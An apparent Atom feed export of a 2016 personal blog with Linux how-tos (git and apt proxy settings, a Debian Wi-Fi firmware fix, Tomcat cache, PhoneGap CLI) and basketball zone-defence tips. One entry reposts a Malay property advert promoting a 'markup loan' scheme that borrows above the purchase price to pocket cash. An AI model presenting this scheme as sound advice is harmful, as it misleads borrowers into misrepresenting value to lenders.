   <content type="html">&lt;p&gt;I have to go through proxy at work. Time from time, I took a break and work on my personal projects which are hosted on github and thus, git on my computer needs to be configured for it.&lt;br /&gt;&lt;br /&gt;On the terminal, run this :&lt;br /&gt;&lt;br /&gt;&amp;lt;pre style=&quot;background-color: #eff0f1; border: 0px; color: #111111; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;&quot;&amp;gt;&amp;lt;div style=&quot;color: black; font-family: &amp;quot;Times New Roman&amp;quot;; font-size: medium; white-space: normal;&quot;&amp;gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;HTTP_PROXY=http://proxy.site.my:80&lt;/span&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div style=&quot;color: black; font-family: &amp;quot;Times New Roman&amp;quot;; font-size: medium; white-space: normal;&quot;&amp;gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;git config –global http.proxy $HTTP_PROXY&lt;/span&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;/pre&amp;gt;Back at home, I need to set it back to having no proxy&lt;br /&gt;&lt;br /&gt;&amp;lt;pre style=&quot;background-color: #eff0f1; border: 0px; color: #111111; font-family: consolas, menlo, monaco, &amp;quot;lucida console&amp;quot;, &amp;quot;liberation mono&amp;quot;, &amp;quot;dejavu sans mono&amp;quot;, &amp;quot;bitstream vera sans mono&amp;quot;, &amp;quot;courier new&amp;quot;, monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;&quot;&amp;gt;&amp;lt;div style=&quot;color: black; font-family: &amp;quot;Times New Roman&amp;quot;; font-size: medium; white-space: normal;&quot;&amp;gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot;, courier, monospace;&quot;&gt;git config –global –unset http.proxy&lt;/span&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;/pre&amp;gt;Yeah, tedious.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Basketball defense 3-2 my take</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/09/06/Basketball-defense-3-2-my-take/"/>
   <updated>2016-09-06T15:16:24+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/09/06/Basketball-defense-3-2-my-take</id>
   <content type="html">&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;Enough of the nonsense by wannabe coaches that I met. I think the following defense is great, especially for a team with many guards...which is quite frequent in Malaysia.&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;a href=&quot;https://3.bp.blogspot.com/-zpv06Sw18qM/V76hrTC2WWI/AAAAAAAABa0/IT2i_Yl7BZYdNLvE9ztIsA5h27YOW-zwQCLcB/s1600/Screenshot%2Bfrom%2B2016-08-25%2B15-43-17.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href=&quot;https://3.bp.blogspot.com/-zpv06Sw18qM/V76hrTC2WWI/AAAAAAAABa0/IT2i_Yl7BZYdNLvE9ztIsA5h27YOW-zwQCLcB/s1600/Screenshot%2Bfrom%2B2016-08-25%2B15-43-17.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href=&quot;https://3.bp.blogspot.com/-zpv06Sw18qM/V76hrTC2WWI/AAAAAAAABa0/IT2i_Yl7BZYdNLvE9ztIsA5h27YOW-zwQCLcB/s1600/Screenshot%2Bfrom%2B2016-08-25%2B15-43-17.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://3.bp.blogspot.com/-zpv06Sw18qM/V76hrTC2WWI/AAAAAAAABa0/IT2i_Yl7BZYdNLvE9ztIsA5h27YOW-zwQCLcB/s1600/Screenshot%2Bfrom%2B2016-08-25%2B15-43-17.png&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Case 1 : Starting position.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Common mistakes : Defender No 1 is not pressuring the ball handler enough. No 4 and No 5 not taking middle threat early.&lt;br /&gt;&lt;br /&gt;Should do : No 1 should always pressure the ball handler closely but giving up no penetration. For No 4 and No 5, once an opponent cuts through the paint area near highpost or free throw line or paint area in general, the weakside low post defender (one of the lost post defender only) should already body check the cutter, making him useless. In some cases where the opponent is not really good, give him space so that he will get the ball and check him right after - this almost always return a turnover.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Case 2 : Ball is swung to the 45.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Common mistakes : The weakside defenders stick to defending the weakside (which no one there has the ball - no threat) instead of clogging the paint area.&lt;br /&gt;&lt;br /&gt;Should do : The wing closest to the ball should close up and pressure the ball. The weakside defenders (both wing and low post defenders should retreat closer to the paint. Yes, giving the weakside opponents some space. At this moment, they don’t have the ball - no threat. A long pass from wing to wing is always easy to intercept. Being away from these weakside wings will highly encourage that long pass.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Case 3 : Ball is swung all the way to the corner.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Common mistakes : Instead of the low post defender, the wing is the one that actually go for the corner defense. Also, if one of the low post defender go for the corner defense, the other low post defender did not move to replace his spot at the low post area strongside (but stick to his original spot on the weakside). &lt;br /&gt;&lt;br /&gt;Should do : The closest low post defender should leave his spot and go all the way to challenge the opponent with the ball at the corner. The other low post defender should replace his spot in paint area (thus, leaving the weakside spot entirely). The weakside wings should clog the free throw line area, despite having the shooters at 45 weakside (again, we want to encourage the long pass to the weakside wing, by any chance)&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Basketball defense 3-2 my take</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/08/25/Basketball-defense-3-2-my-take/"/>
   <updated>2016-08-25T08:17:27+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/08/25/Basketball-defense-3-2-my-take</id>
   <content type="html">&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;Enough of the nonsense by wannabe coaches that I met. I think the following defense is great, especially for a team with many guards...which is quite frequent in Malaysia.&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;a href=&quot;https://3.bp.blogspot.com/-zpv06Sw18qM/V76hrTC2WWI/AAAAAAAABa0/IT2i_Yl7BZYdNLvE9ztIsA5h27YOW-zwQCLcB/s1600/Screenshot%2Bfrom%2B2016-08-25%2B15-43-17.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href=&quot;https://3.bp.blogspot.com/-zpv06Sw18qM/V76hrTC2WWI/AAAAAAAABa0/IT2i_Yl7BZYdNLvE9ztIsA5h27YOW-zwQCLcB/s1600/Screenshot%2Bfrom%2B2016-08-25%2B15-43-17.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href=&quot;https://3.bp.blogspot.com/-zpv06Sw18qM/V76hrTC2WWI/AAAAAAAABa0/IT2i_Yl7BZYdNLvE9ztIsA5h27YOW-zwQCLcB/s1600/Screenshot%2Bfrom%2B2016-08-25%2B15-43-17.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://3.bp.blogspot.com/-zpv06Sw18qM/V76hrTC2WWI/AAAAAAAABa0/IT2i_Yl7BZYdNLvE9ztIsA5h27YOW-zwQCLcB/s1600/Screenshot%2Bfrom%2B2016-08-25%2B15-43-17.png&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Case 1 : Starting position.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Common mistakes : Defender No 1 is not pressuring the ball handler enough. No 4 and No 5 not taking middle threat early.&lt;br /&gt;&lt;br /&gt;Should do : No 1 should always pressure the ball handler closely but giving up no penetration. For No 4 and No 5, once an opponent cuts through the paint area near highpost or free throw line or paint area in general, the weakside low post defender (one of the lost post defender only) should already body check the cutter, making him useless. In some cases where the opponent is not really good, give him space so that he will get the ball and check him right after - this almost always return a turnover.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Case 2 : Ball is swung to the 45.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Common mistakes : The weakside defenders stick to defending the weakside (which no one there has the ball - no threat) instead of clogging the paint area.&lt;br /&gt;&lt;br /&gt;Should do : The wing closest to the ball should close up and pressure the ball. The weakside defenders (both wing and low post defenders should retreat closer to the paint. Yes, giving the weakside opponents some space. At this moment, they don’t have the ball - no threat. A long pass from wing to wing is always easy to intercept. Being away from these weakside wings will highly encourage that long pass.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Case 3 : Ball is swung all the way to the corner.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Common mistakes : Instead of the low post defender, the wing is the one that actually go for the corner defense. Also, if one of the low post defender go for the corner defense, the other low post defender did not move to replace his spot at the low post area strongside (but stick to his original spot on the weakside). &lt;br /&gt;&lt;br /&gt;Should do : The closest low post defender should leave his spot and go all the way to challenge the opponent with the ball at the corner. The other low post defender should replace his spot in paint area (thus, leaving the weakside spot entirely). The weakside wings should clog the free throw line area, despite having the shooters at 45 weakside (again, we want to encourage the long pass to the weakside wing, by any chance)&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Fixing Wifi (Debian Linux Jessie) on  Acer Aspire E15 E5-575G-52H9</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/08/23/Fixing-Wifi-(Debian-Linux-Jessie)-on-Acer-Aspire-E15-E5-575G-52H9/"/>
   <updated>2016-08-23T13:14:13+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/08/23/Fixing-Wifi-(Debian-Linux-Jessie)-on-Acer-Aspire-E15-E5-575G-52H9</id>
   <content type="html">&lt;div style=&quot;background-color: white; border: 0px; clear: both; color: #111111; font-family: Ubuntu, Arial, &amp;quot;libra sans&amp;quot;, sans-serif; font-size: 15px; line-height: 19.5px; margin-bottom: 1em; padding: 0px;&quot;&gt;Do the following :&lt;/div&gt;
&lt;pre style=&quot;background-color: #eff0f1; border: 0px; color: #111111; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;&quot;&gt;&lt;code style=&quot;border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;wget &lt;a href=&quot;http://mirrors.kernel.org/ubuntu/pool/main/l/linux-firmware/linux-firmware_1.158_all.deb&quot; style=&quot;border: 0px; color: #962d0c; cursor: pointer; margin: 0px; padding: 0px; text-decoration: none;&quot;&gt;http://mirrors.kernel.org/ubuntu/pool/main/l/linux-firmware/linux-firmware_1.158_all.deb&lt;/a&gt;&lt;br /&gt;sudo dpkg -i linux-firmware_1.158_all.deb&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;span style=&quot;background-color: white; color: #111111; font-family: Ubuntu, Arial, &amp;quot;libra sans&amp;quot;, sans-serif; font-size: 15px; line-height: 19.5px;&quot;&gt;and reboot.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&amp;lt;div style=&quot;background-color: white; border: 0px; clear: both; color: #111111; font-family: Ubuntu, Arial, &amp;quot;libra sans&amp;quot;, sans-serif; font-size: 15px; line-height: 19.5px; margin-bottom: 1em; padding: 0px;&quot;&amp;gt;Then, install the backported modules and needed firmware :&amp;lt;/div&amp;gt;&amp;lt;pre style=&quot;background-color: #eff0f1; border: 0px; color: #111111; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;&quot;&amp;gt;&lt;code style=&quot;border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;sudo apt-get install build-essential linux-headers-$(uname -r) git&lt;br /&gt;echo &quot;options ath10k_core skip_otp=y&quot; | sudo tee /etc/modprobe.d/ath10k_core.conf&lt;br /&gt;wget &lt;a href=&quot;https://www.kernel.org/pub/linux/kernel/projects/backports/stable/v4.4.2/backports-4.4.2-1.tar.gz&quot; style=&quot;border: 0px; color: #962d0c; cursor: pointer; margin: 0px; padding: 0px; text-decoration: none;&quot;&gt;https://www.kernel.org/pub/linux/kernel/projects/backports/stable/v4.4.2/backports-4.4.2-1.tar.gz&lt;/a&gt;&lt;br /&gt;tar -zxvf backports-4.4.2-1.tar.gz&lt;br /&gt;cd backport-4.4.2-1&lt;br /&gt;make defconfig-wifi&lt;br /&gt;make&lt;br /&gt;sudo make install&lt;br /&gt;git clone &lt;a href=&quot;https://github.com/kvalo/ath10k-firmware.git&quot; style=&quot;border: 0px; color: #962d0c; cursor: pointer; margin: 0px; padding: 0px; text-decoration: none;&quot;&gt;https://github.com/kvalo/ath10k-firmware.git&lt;/a&gt;&lt;br /&gt;sudo cp -r ath10k-firmware/QCA9377 /lib/firmware/ath10k/&lt;br /&gt;sudo cp /lib/firmware/ath10k/hw1.0/firmware-5.bin_WLAN.TF.1.0-00267-1 /lib/firmware/ath10k/QCA9377/hw1.0/firmware-5.bin&lt;/code&gt;&amp;lt;/pre&amp;gt;&amp;lt;div style=&quot;background-color: white; border: 0px; clear: both; color: #111111; font-family: Ubuntu, Arial, &amp;quot;libra sans&amp;quot;, sans-serif; font-size: 15px; line-height: 19.5px; margin-bottom: 1em; padding: 0px;&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;background-color: white; border: 0px; clear: both; color: #111111; font-family: Ubuntu, Arial, &amp;quot;libra sans&amp;quot;, sans-serif; font-size: 15px; line-height: 19.5px; margin-bottom: 1em; padding: 0px;&quot;&amp;gt;and reboot. That’s it.&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;background-color: white; border: 0px; clear: both; color: #111111; font-family: Ubuntu, Arial, &amp;quot;libra sans&amp;quot;, sans-serif; font-size: 15px; line-height: 19.5px; margin-bottom: 1em; padding: 0px;&quot;&amp;gt;&lt;br /&gt;However, when a new kernel is installed through updates, the Wifi might fail. &lt;br /&gt;&lt;br /&gt;Do the following :&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;background-color: white; border: 0px; clear: both; color: #111111; font-family: Ubuntu, Arial, &amp;quot;libra sans&amp;quot;, sans-serif; font-size: 15px; line-height: 19.5px; margin-bottom: 1em; padding: 0px;&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;pre style=&quot;background-color: #eff0f1; border: 0px; color: #111111; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;&quot;&amp;gt;&lt;code style=&quot;border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;cd backports-4.4.2-1&lt;br /&gt;make clean&lt;br /&gt;make defconfig-wifi&lt;br /&gt;make&lt;br /&gt;sudo make install&lt;/code&gt;&amp;lt;/pre&amp;gt;&lt;span style=&quot;background-color: white; color: #111111; font-family: Ubuntu, Arial, &amp;quot;libra sans&amp;quot;, sans-serif; font-size: 15px; line-height: 19.5px;&quot;&gt;and reboot.&lt;/span&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Apt-get through proxy</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/08/23/Apt-get-through-proxy/"/>
   <updated>2016-08-23T02:55:52+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/08/23/Apt-get-through-proxy</id>
   <content type="html">&lt;p&gt;&lt;span style=&quot;background-color: white; color: #111111; font-family: Ubuntu, Arial, &amp;quot;libra sans&amp;quot;, sans-serif; font-size: 15px; line-height: 19.5px;&quot;&gt;First, try with this :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;pre style=&quot;background-color: #eff0f1; border: 0px; color: #111111; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;&quot;&amp;gt;&lt;code style=&quot;border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;sudo http_proxy=&apos;http://user:pass@proxy.example.com:8080/&apos; apt-get install package-name&lt;br /&gt;&lt;/code&gt;&amp;lt;/pre&amp;gt;&amp;lt;div style=&quot;background-color: white; border: 0px; clear: both; color: #111111; font-family: Ubuntu, Arial, &amp;quot;libra sans&amp;quot;, sans-serif; font-size: 15px; line-height: 19.5px; margin-bottom: 1em; padding: 0px;&quot;&amp;gt;&lt;br /&gt;If that doesn’t work, open the following file &lt;code style=&quot;background-color: #eff0f1; border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-size: 13px; margin: 0px; padding: 1px 5px; white-space: pre-wrap;&quot;&gt;sudo nano /etc/apt/apt.conf&lt;/code&gt;&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;background-color: white; border: 0px; clear: both; color: #111111; font-family: Ubuntu, Arial, &amp;quot;libra sans&amp;quot;, sans-serif; font-size: 15px; line-height: 19.5px; margin-bottom: 1em; padding: 0px;&quot;&amp;gt;Edit the content to be as below :&amp;lt;/div&amp;gt;&amp;lt;pre style=&quot;background-color: #eff0f1; border: 0px; color: #111111; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;&quot;&amp;gt;&lt;code style=&quot;border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;Acquire::http::proxy &quot;http://&lt;username&gt;:&lt;password&gt;@&lt;proxy&gt;:&lt;port&gt;/&quot;;&lt;br /&gt;Acquire::ftp::proxy &quot;ftp://&lt;username&gt;:&lt;password&gt;@&lt;proxy&gt;:&lt;port&gt;/&quot;;&lt;br /&gt;Acquire::https::proxy &quot;https://&lt;username&gt;:&lt;password&gt;@&lt;proxy&gt;:&lt;port&gt;/&quot;;&lt;/port&gt;&lt;/proxy&gt;&lt;/password&gt;&lt;/username&gt;&lt;/port&gt;&lt;/proxy&gt;&lt;/password&gt;&lt;/username&gt;&lt;/port&gt;&lt;/proxy&gt;&lt;/password&gt;&lt;/username&gt;&lt;/code&gt;&amp;lt;/pre&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Buying first house</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/08/03/Buying-first-house/"/>
   <updated>2016-08-03T19:30:23+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/08/03/Buying-first-house</id>
   <content type="html">&lt;p&gt;Found some good writing. Thought I share it here.&lt;br /&gt;&lt;br /&gt;Already bought a house though. Didn’t use these similar methods.&lt;br /&gt;&lt;br /&gt;&amp;lt;div style=&quot;background-color: white; color: #1d2129; font-family: helvetica, arial, sans-serif; font-size: 14px; line-height: 19.32px; margin-bottom: 6px;&quot;&amp;gt;Dapatkan cashback RM35,000 + extra positif cashflow RM100 sebulan dengan pembelian rumah :&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: inherit; line-height: 19.32px;&quot;&gt;Beli rumah RM185,000 je.. Market value untuk rumah RM220,000&lt;/span&gt;&lt;span style=&quot;font-family: inherit; line-height: 19.32px;&quot;&gt;&lt;br /&gt;Cashback RM35,000 adalah dari lebihan pembiayaan yang anda buat sekiranya anda markup loan.. &lt;br /&gt;&lt;br /&gt;Jom kita kira kat abwah&lt;/span&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;text_exposed_show&quot; style=&quot;background-color: white; color: #1d2129; display: inline; font-family: helvetica, arial, sans-serif; font-size: 14px; line-height: 19.32px;&quot;&amp;gt;&amp;lt;div style=&quot;font-family: inherit; margin-bottom: 6px; margin-top: 6px;&quot;&amp;gt;&lt;br /&gt;loan 100% dari RM220,000.. So bank bagi &lt;span style=&quot;line-height: 19.32px;&quot;&gt;RM220,000&lt;/span&gt;.. Owner nak &lt;span style=&quot;line-height: 19.32px;&quot;&gt;RM185,000&lt;/span&gt; je.. Balance ada RM35,000 kat tangan&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;font-family: inherit; margin-bottom: 6px; margin-top: 6px;&quot;&amp;gt;&lt;br /&gt;Macam mana boleh dapat cashflow RM200 sebulan?&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;font-family: inherit; margin-bottom: 6px; margin-top: 6px;&quot;&amp;gt;&lt;br /&gt;Market rental RM1,000 sebulan.. Dimana installment untuk rumah ni kalau loan 100% adalah RM1,000.. Skim ini menawarkan bantuan kewangan dari kerajaan sebanyak RM200 sebulan..&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;font-family: inherit; margin-bottom: 6px; margin-top: 6px;&quot;&amp;gt;.&lt;br /&gt;Installment RM1,000 - RM200 (bantuan kewangan dari kerajaan) = RM800.. Sewa RM1,000 sebulan.. Maka ada lah baki RM200 sebulan sekiranya rumah ini dibeli dan di SEWAKAN..also with RM35,000 cash.&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;font-family: inherit; margin-bottom: 6px; margin-top: 6px;&quot;&amp;gt;.&lt;br /&gt;Mohd Safuan - 0149045112&lt;br /&gt;REN 16990&lt;br /&gt;Weise International Property Consultants Sdn Bhd.&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Tomcat - clearing cache</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/07/22/Tomcat-clearing-cache/"/>
   <updated>2016-07-22T09:41:35+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/07/22/Tomcat-clearing-cache</id>
   <content type="html">&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;I was doing some works with Tomcat on my current Debian setup and this one issue keeps bugging me the whole day. Today is Friday and lucky for me, I was able to get some times away from that and cleared my mind before getting back at it.&lt;br /&gt;&lt;br /&gt;After returning (soaked in wet rain), I came to the conclusion that Tomcat cached some of the apps that I deployed somewhere. This means that re-deploying the apps does not really load up the entirely new App properly as a whole.&lt;br /&gt;&lt;br /&gt;Before that, I have checked and did the following, which seemingly “removed” the previous deployment.&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/td&gt;
      &lt;td&gt;Remove the contents of the folder $CATALINA_HOME/work&lt;br /&gt;&lt;br /&gt;Well, that worked for basic UI changes that I made, until I needed to re-point the apps to my local database. In my App, there is a config/properties file that handles this. I made changes to the file, and guess what?&lt;br /&gt;&lt;br /&gt;The databases connection was unsuccessful…&lt;br /&gt;&lt;br /&gt;It seems that Tomcat still does some cache-ing somewhere….&lt;br /&gt;&lt;br /&gt;and then I found out the solution :&lt;br /&gt;&lt;br /&gt;Change the content of the following file : $CATALINA_HOME/conf/context.xml&lt;br /&gt;&lt;br /&gt;Add inside the &lt;context&gt; tag &lt;context&gt; :&amp;nbsp;&lt;/context&gt;&lt;/context&gt;&lt;br /&gt;      &lt;resources antiresourcelocking=&quot;false&quot; cachingallowed=&quot;false&quot;&gt; &lt;resources antiresourcelocking=&quot;false&quot; cachingallowed=&quot;false&quot;&gt;&lt;/resources&gt;&lt;/resources&gt;&lt;br /&gt;&lt;br /&gt;and that solves my issues.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
</content>
 </entry>
 
 <entry>
   <title>PhoneGap developement on Debian Linux</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/07/21/PhoneGap-developement-on-Debian-Linux/"/>
   <updated>2016-07-21T02:53:45+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/07/21/PhoneGap-developement-on-Debian-Linux</id>
   <content type="html">&lt;p&gt;A friend of mine started a colloboration to create an App which aims to help Orphanage discovery. The main tool to use is PhoneGap. Little that I know, PhoneGap Desktop is not yet supported on Linux. The wine-ported version reported crashing upon launched. &lt;br /&gt;&lt;br /&gt;The thing is, I didn’t know that PhoneGap has command line tool called PhoneGap CLI. PhoneGap CLI is actually older than the Phone Gap desktop. I have used PhoneGap desktop on Windows before and I found it quite easy to use. I didn’t do much with it though. Now that I am on full-time Linux, I will need to use the PhoneGap CLI, thus tutorial below is for those who are interested to develop a PhoneGap app using PhoneGap CLI.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1. First, install Node.js&lt;br /&gt;sudo apt-get update&lt;br /&gt;sudo apt-get install nodejs&lt;br /&gt;&lt;br /&gt;2. Simlink Node.js as node (this is how PhoneGap calls it - node instead of nodejs)&lt;br /&gt;sudo ln -s /usr/bin/nodejs /usr/bin/node&lt;br /&gt;&lt;br /&gt;3. Install NPM - this is package manager for PhoneGap and other similar javascript programs&lt;br /&gt;sudo apt-get install npm&lt;br /&gt;&lt;br /&gt;4. Install PhoneGap using NPM&lt;br /&gt;sudo npm install -g phonegap&lt;br /&gt;&lt;br /&gt;5. Install the PhoneGap Developer App from Google Play&lt;br /&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=com.adobe.phonegap.app&amp;amp;hl=en&quot;&gt;https://play.google.com/store/apps/details?id=com.adobe.phonegap.app&amp;amp;hl=en&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;To get started, lets create hello world app&lt;br /&gt;&lt;br /&gt;# create a PhoneGap project, NPM will pull simple hello world project for us to use&lt;br /&gt;phonegap create myApp &lt;br /&gt;# change to project directory  &lt;br /&gt;cd myApp&lt;br /&gt;# build and install the app to Android                &lt;br /&gt;phonegap run android &lt;br /&gt;# start up a local web server to host our application       &lt;br /&gt;phonegap serve            &lt;br /&gt;&lt;br /&gt;Get the ip provided and put it in the PhoneGap Developer App on your phone.&lt;br /&gt;The first page displayed is stored at YourAppDirectory/www/index.html&lt;br /&gt;&lt;br /&gt;That’s it. 